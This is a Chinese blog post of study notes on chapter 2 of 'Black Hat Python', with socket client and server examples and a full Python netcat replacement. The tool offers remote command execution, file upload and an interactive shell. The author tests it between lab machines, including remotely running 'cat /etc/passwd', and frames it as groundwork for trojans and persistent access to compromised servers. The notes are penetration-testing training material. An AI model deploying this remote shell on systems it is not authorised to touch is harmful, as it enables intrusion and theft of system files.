IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第二章 网络工程基础(1)TCP客户端/服务端&Netcat -> 正文阅读

[网络协议]黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第二章 网络工程基础(1)TCP客户端/服务端&Netcat

黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第二章 网络工程基础(1)TCP客户端/服务端&Netcat



作者在本章的一开始,说了这么一句话:The network is and always will be the sexiest arena for a hacker。直接翻译过来,就是:网络是而且永远是黑客最性感的舞台。对于我这种菜鸡来说,目前还体会不到这种境界,希望后续能够跟上大神的节奏。
本章主要是介绍基于socket的python基础网络知识。本章也是后续章节的基础,基于本章的指示,我们将在后续章节中构建主机发现工具,实现化平台的嗅探,并创建远程特洛伊木马框架。
说明:原书中,作者是依次介绍了TCP客户端,UDP客户端,TCP服务端。新手执行过程中可能会有些困惑,因为有时候需要客户端和服务端配合完整一些事情,我这里做了顺序上的调整,依次为TCP客户端、TCP服务端、UDP客户端。

Python网络工程概述

在python中,程序员可以使用很对的第三方工具创建网络服务端和客户端,但是所有这些工具的核心模块都是socket。该模块包含了使用原始套接字快速开发TCP和UDP客户端/服务端的所有内容。

TCP客户端

在渗透测试期间,《Black Hat Python》的作者们需要无数次地启动一个TCP客户端来测试服务、发送垃圾数据、进行fuzz测试或者其它任务。如果在安全措施比较完善的大型企业中,不可能奢侈的适用各种编译工具、网络工具,有时候甚至复制粘贴或者联网都是困难的。这正是快速创建TCP客户端的便捷之处。下面的源代码实现了一个简单的基于socket的TCP客户端,废话不多说,直接上源代码。

import socket

target_host = "www.google.com"
target_port = 80

# create a socket object
# AF_INET: standard IPv4 address or hostname; SOCK_STREAM: this is a TCP client
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect the client to the server
client.connect((target_host, target_port))

# send some data as bytes
client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")

# receive some data back
response = client.recv(4096)

# printout the response
print(response.decode())
# close the socket client
client.close()

运行结果如下图,先不管返回内容,至少请求发到了服务端,并且也收到了来自服务端的响应。
在这里插入图片描述
这段代码中对socket做了很多严肃的假设,你肯定特别想知道。第一个假设就是,客户端对服务端的链接始终是成功的;第二个是服务端希望客户端先发送一些数据(其实,有些服务端会先发送数据到客户端,然后等待客户端的响应);第三个假设就是服务端将始终及时地向客户端返回数据。做这些假设主要是为了简单,便于理解。然而对于如何处理阻塞中的socket、socket异常处理等内容,程序员有着不同的看法,但是渗透着很少将这些细节构建到他们快速而且肮脏的工具之中,因此在本章节中将会省略类似的内容。

TCP Server

通过Python创建TCP服务端跟创建客户端一样简单。在写shell命令或者创建proxy时(后续我们将会实践这两者),我们可能需要使用自己的TCP服务端。下面将创建一个标准的多线程TCP服务端,先上代码。

import socket
import threading

IP = '0.0.0.0'
PORT = 9998


def main():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((IP, PORT))
    server.listen(5)
    print(f'[*] Listening on {IP}:{PORT}')

    while True:
        client, address = server.accept()
        print(f'[*] Accepted connection from {address[0]}:{address[1]}')
        client_handler = threading.Thread(target = handle_client, args = (client,))
        client_handler.start()

def handle_client(client_socket):
    with client_socket as sock:
        request = sock.recv(1024)
        print(f'[*] Received: {request.decode("utf-8")}')
        sock.send(b'ACK')

if __name__ == '__main__':
    main()

上面这段代码在执行的时候,发现直接停在“Listening on 0.0.0.0:9998”就没有然后了,虽然书里到此为止没有讲这一块(包括的UDP Client),但是我猜测应该是代码正常起来了,在监听着0.0.0.0:9998。于是直接把前面TCP客户端的代码拿出来稍微修改一下IP地址和PORT跟这里对应起来,其它都不变,然后重新打开一个命令行窗口运行之(我这里没有在原来的TCP客户端代码上修改,而是又重新复制出来修改了一下),如下图。
在这里插入图片描述
果然,运行TCP客户端的时候,前面一直处于监听状态的TCP服务端收到了客户端发过来的消息,并且TCP服务端也给客户端返回了代码中的“ACK”,如下图。
在这里插入图片描述
这是一个完美并且简单的实例,并且也是非常有用的一段代码,在接下来的章节中我们将扩展它,届时我们将会创建一个netcat replacement(具体啥事netcat replacement我也不清楚,等后面学到的时候再说,我猜测可能是替换网络数据包的工具)和一个TCP代理。

UDP客户端

相比TCP客户端,python下的UDP客户端并没有复杂多少,只需做几个小的修改即可以UDP方式发送包。调整后的代码如下。

import socket

target_host = "127.0.0.1"
target_port = 9997

# create a socket object
# AF_INET: standard IPv4 address or hostname; SOCK_DGRAM: this is a UDP client
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# connect the client to the server
# client.connect((target_host, target_port))

# send some data as bytes
client.sendto(b"AAABBBCCC",(target_host,target_port))

# receive some data back
data, addr = client.recvfrom(4096)

# printout the response
print(data.decode())
# close the socket client
client.close()

但是运行的时候,在receive data那一行卡住了(其实根本就没有卡住,因为UDP客户端一直在监听4096端口,但是木有人给他发送数据),没有输出结果。我大胆猜测这是因为我只起了一个客户端,缺少UDP服务端,没人给我返回数据,我当然啥都接收不到。等后续了解了UDP服务端再回来看这个问题。

取代Netcat

Netcat是一种网络上的实用工具,因此它被精明的网络管理员从系统中剔除也就不足为奇了。这对攻击者来说也是及其有用的工具,通过这个工具,可以从网络上读取和写入数据,这意味着可以执行远程指令、上传/下载文件,甚至开启一个远程的shell。
大多数情况下,黑客进入的服务器没有netcat,但是有python。在这种情况下,创建一个简单的网络客户端和服务端用来上传文件,或者创建一个命令行访问的监听器是非常有用的。
如果黑客已经通过网络应用攻入,他绝对值得去设置一个python回调来提供辅助的接入访问,这不需要提前准备特洛伊木马或者后门程序。
废话不多说,先上一段代码。

import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading

def execute(cmd):
    cmd = cmd.strp()
    if not cmd:
        return
    output = subprocess.check_output(shlex.split(cmd), stderr=subprocess.STDOUT)
    return output.decode()

到此为止,我们导入了所有需要的库,并且定义了execute执行函数,用来接收指令、运行指令,然后以字符串返回输出。函数中包含了一个之前我们到目前位置还未介绍的库:subprocess库。这个库提供了强大的进程创建入口,这会使得我们有多种方法跟客户端程序交互。本示例中我们使用subprocess库的check_output方法,该方法在本地操作系统上运行指令,然后返回输出。
然后,创建我们的主模块,用来处理命令行参数,以及调用我们其它的函数。

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description='BHP Net Tool',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent('''Example:
            netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
            netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt #upload to file
            netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" #execute command
            echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
            netcat.py -t 192.168.1.108 -p 5555 # connect to server
        ''')
    )
    parser.add_argument('-c', '--command', action='store_true', help='command shell')
    parser.add_argument('-e', '--execute', help='execute specified command')
    parser.add_argument('-l', '--listen', action='store_true', help='listen')
    parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
    parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
    parser.add_argument('-u', '--upload', help='upload file')
    args = parser.parse_args()
    if args.listen:
        buffer = ''
    else:
        buffer = sys.stdin.read()
    
    nc = NetCat(args, buffer.encode())
    nc.run()

在这里,我们使用标准库中的argparse模块来创建命令行入口。这样,我们就可以提供参数来进行上传文件、执行指令,或者启动shell。
当用户使用–help激活工具的时候,它将提供调用的示例用法,并且添加了6个参数来指示我们希望程序运行的方式。
如果我们要设置用来作为监听器,需要使用空的字符串buffer来唤醒NetCat对象,否则将从stdin发送buffer内容。不管怎么说,最终我们会调用run方法来启动它。
下面我们开始某些功能特性设置管道,先从我们的客户端开始。在main模块的上面添加如下的代码。

class NetCat:
    # initialize the NetCat object with the arguments from the command line and the buffer
    def __init__(self, args, buffer=None):
        self.args = args
        self.buffer = buffer
        # create the socket object
        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    # the run method is the entry point for managing the NetCat object 
    def run(self):
        # the run method delegates execution to tow methods
        # if we setting up a listener, we'll call the listen method
        if self.args.listen:
            self.listen()
        # otherwise, we call the send method
        else:
            self.send()

我们使用从命令行和buffer来的参数来初始化NetCat对象,然后创建socket对象。对于run方法,这是管理NetCat对象的入口,非常简单:它把执行委托给了两个方法。如果我们设置的是监听器,则需要调用listen方法;否则我们将调用send方法。下面我们就设置一下send方法。

   def send(self):
        # connect to the target and port
        self.socket.connect((self.args.target, self.args.port))
        # if there is a buffer, send the buffer to the target first
        if self.buffer:
            self.socket.send(self.buffer)
        
        # set the try/catch block, thus we can mannually close the connection with Ctrl+C
        try:
            # start a loop to receive data from the target
            while True:
                recv_len = 1
                response = ''
                while recv_len:
                    data = self.socket.recv(4096)
                    recv_len = len(data)
                    response += data.decode()
                    # if there is no more data, break out the loop
                    if recv_len < 4096:
                        break
                # print out the response data and pause to get interactive input    
                if response:
                    print(response)
                    buffer = input('> ')
                    buffer += '\n'
                    # send the input and continue the loop
                    self.socket.send(buffer.encode())
        # the loop will continue until the keyboard interrupt occurs (Ctrl+C)
        except KeyboardInterrupt:
            print('User terminated.')
            self.socket.close()
            sys.exit()

接下来,我们将设置程序以监听器方式执行的方法。

    def listen(self):
        # listen method binds to the target IP and port
        self.socket.bind((self.args.target, self.args.port))
        self.socket.listen(5)
        # start the listening in a loop
        while True:
            client_socket, _ = self.socket.accept()
            # passing the connected socket to the handle method
            client_thread = threading.Thread(
                target = self.handle, args = (client_socket,)
            )
            client_thread.start()

接下来将会实施相关的逻辑,来实现文件上传、执行命令、创建交互式shell。程序以监听器操作时可以执行这些任务。

    def handle(self, client_socket):
        # if a command should be executed
        if self.args.execute:
            # pass the command to the execute function
            output = execute(self.args.execute)
            # sends the output back on the socket
            client_socket.send(output)
        
        # if a file should be uploaded
        elif self.args.upload:
            file_buffer = b''
            # set up a loop to listen content
            while True:
                data = client_socket.recv(4096)
                # receive until there is no more data coming
                if data:
                    file_buffer += data
                else:
                    break
            
            # write the accumulated content to the specified file
            with open(self.args.upload, 'wb') as f:
                f.write(file_buffer)
            message = f'Saved file {self.args.upload}'
            client_socket.send(message.encode())
        
        # if  a shell is to be created
        elif self.args.command:
            cmd_buffer = b''
            # setup a loop
            while True:
                try:
                    # send a prompt to the sender
                    client_socket.send(b'BHP: #> ')
                    while '\n' not in cmd_buffer.decode():
                        cmd_buffer += client_socket.recv(64)
                    response = execute(cmd_buffer.decode())
                    if response:
                        client_socket.send(response.encode())
                    cmd_buffer = b''
                except Exception as e:
                    print(f'server killed {e}')
                    self.socket.close()
                    sys.exit()

读者会注意到,shell会监控换行符来确定什么时候处理命令,者对于NetCat来说还是比较友好的。这意味着,你可以在监听侧使用这个程序,然后在发送侧使用netcat本身。然而,如果想让python的客户端与其对话,记得添加换行符。在send方法中,会看到我们确实在从控制台获取输入之后添加了换行符。

小试牛刀

现在,可以简单运行一下,查看一些输出。在一个终端命令行运行脚本带入 --help参数,运行结果如下。
在这里插入图片描述
现在kali上,起一个命令行窗口,使用自身的IP地址和5555端口起动一个监听器命令行shell,如下图所示,貌似已经处于监听状态。
在这里插入图片描述
然后,在我的linux mint虚拟机上起另一个命令行窗口,以客户端方式运行脚本。在命令行中输入EOF(end-of-file,在键盘敲入Ctrl+D即可发送EOF)。然而这时候没有得到书中预期的结果,不管我怎么输入Ctrl+D都没有反映,如下图。
在这里插入图片描述
现代码农的好处就是可以随时问度娘和狗狗。其中有位大神说,原书示例代码中,send方法中的“if recv_len < 4096:”这一行代码是错误的,相当于是说,从终端读入的代码是可能小于4096长度的。我直接改成了“if recv_len < 1:”,然后Ctrl+C杀掉两端的代码后重新运行试试看,这次如愿以偿,得到了如下图所示的提示符。
在这里插入图片描述
到此为止,感觉还算是正常的,并且我也尽量尊重了原书的代码,只是添加一些蹩脚的英文注释(因为我比较懒,还没有在kali上设置中文输入法)。然而执行下一个ls -la命令的时候,遇到了问题,在我的linux机器上运行命令是成功了的,得到了对应的输出(如下图),但是在kali上并没有出现预期的output。
在这里插入图片描述
接下来,当我故意输入一个没有的指令的时候,怪事发生了。 我的linux下面重复输出了之前上一个命令(ls -la)的output结果,如下图所示。
在这里插入图片描述
然而在kali机器上的命令行中,返回了第二个命令执行的错误输出,如下图所示。
在这里插入图片描述
这至少说明了两个问题:第一,程序的大方向是没有错误的;第二,两个机器上的程序是能够交互的,尽管不是预期的结果。距离成功又近了一步。先不管了,当做一个课后作业,有空再回来研究研究。为了尽快评估自己是否可以下手OSCP或者OSEP,先进行下一步。
在kali上执行-e="cat /etc/passwd"命令,即在远程linux机上执行"cat /etc/passwd"命令,如下图所示。
在这里插入图片描述
然后在远程linux上运行netcat,如下图所示。
在这里插入图片描述
然后在远程linux上执行Ctrl+D看看,这时候远程linux下出现了"cat /etc/passwd"命令的执行结果,即“/etc/passwd”文件的内容,如下图所示。
在这里插入图片描述
这说明,目前程序是可以运行的,但是还有一些bug。按道理远程linux应该直接显示命令运行的内容,而不需要我再输入一个Ctrl+D。
我一度有点怀疑人生了,之前写python代码也不算少,不至于这么菜鸡吧。好奇心驱使下,我把原书的source code全部down下来,然后跟我写的代码使用Beyond Compare进行比对,发现完全一致(唯一的不一致就是上面所述的那个” if recv_len < 4096:”,不修改的话,完全无法运行)。原书中也提到了,可以直接使用“nc IP PORT”来运行远程客户机上的程序,两边通过Ctrl+C杀掉,重新运行,这个时候,远程linux机器上不需要输入Ctrl+D可以直接输出kali上远程调用的命令的结果,如下图。
在这里插入图片描述
暂且不纠结了,先保持现状。
在netcat的最后,我们可以使用客户端以传统的方式发送请求,在kali或者linux机器上执行下面的命令。
$ echo -ne “GET / HTTP/1.1\r\nHost: reachtim.com\r\n\r\n” |python ./2_004_Netcat.py -t reachtim.com -p 80
得到如下图所示的输出,跟原书一致。
在这里插入图片描述
在kali上运行也是一样的,如下图。
在这里插入图片描述
另外说明一下,在这里还是碰到了一点小问题,根据原书的代码,运行上述命令的时候会报一个EOFError,如下图所示。
在这里插入图片描述
查找了一些资料,都感觉不太靠谱,最后发现,问题出在input方法本身。因为python规定只能在父进程里面调用input函数,不能在子进程里面调用input函数。于是,直接去掉input函数,直接使用“buffer = ‘> ’”,问题解决。
总之,虽然这不是一项超级技术,但这是用python将一些客户端和服务器socket拼装在一起用于邪恶目的的良好基础。这里只涵盖了基础知识,这里有很多发挥想象力的空间。接下来,我们将构建一个TCP代理,在任何攻击场景中这都是很有用的。

这篇文章到此为止吧,接下来将会介绍 TCP 代理。

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-09-30 01:21:54  更:2022-09-30 01:23:27 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/19 8:09:24-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码